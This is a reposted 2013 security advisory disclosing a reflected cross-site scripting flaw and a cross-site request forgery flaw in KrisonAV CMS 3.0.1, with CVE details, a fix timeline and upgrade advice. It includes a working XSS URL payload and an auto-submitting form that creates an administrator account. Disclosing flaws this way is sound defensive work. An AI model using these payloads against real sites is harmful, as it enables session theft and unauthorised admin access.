Post Thu Apr 18, 2013 6:34 am

HTB23150: Multiple Vulnerabilities in KrisonAV CMS

Advisory ID: HTB23150
Product: KrisonAV CMS
Vendor: KrisonAV
Vulnerable Versions: 3.0.1 and probably prior
Tested Version: 3.0.1
Vendor Notification: March 27, 2013
Vendor Fix: March 31, 2013
Public Disclosure: April 17, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2013-2712, CVE-2013-2713
Risk Level: Medium
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab

Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712
The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter via "/services/get_article.php" script. A remote attacker can trick a user to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.
The exploitation example below uses JavaScript "alert()" function to display user's cookies:
  Code:
http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713
The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with administrative privileges.
PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":
  Code:
<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users" method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="newuser@mail.com">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>


Solution:
Upgrade to KrisonAV CMS 3.0.2

More Information:
http://www.krisonav.com/articles_show.h ... ease-notes

References:
[1] High-Tech Bridge Advisory HTB23150 - https://www.htbridge.com/advisory/HTB23150 - Multiple Vulnerabilities in KrisonAV CMS.
[2] KrisonAV CMS - krisonav.com - KrisonAV is a content management system (CMS), which enables you to build Web sites and online applications. It is based on Codecharge Studio, that makes it extremely powerful and secure.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.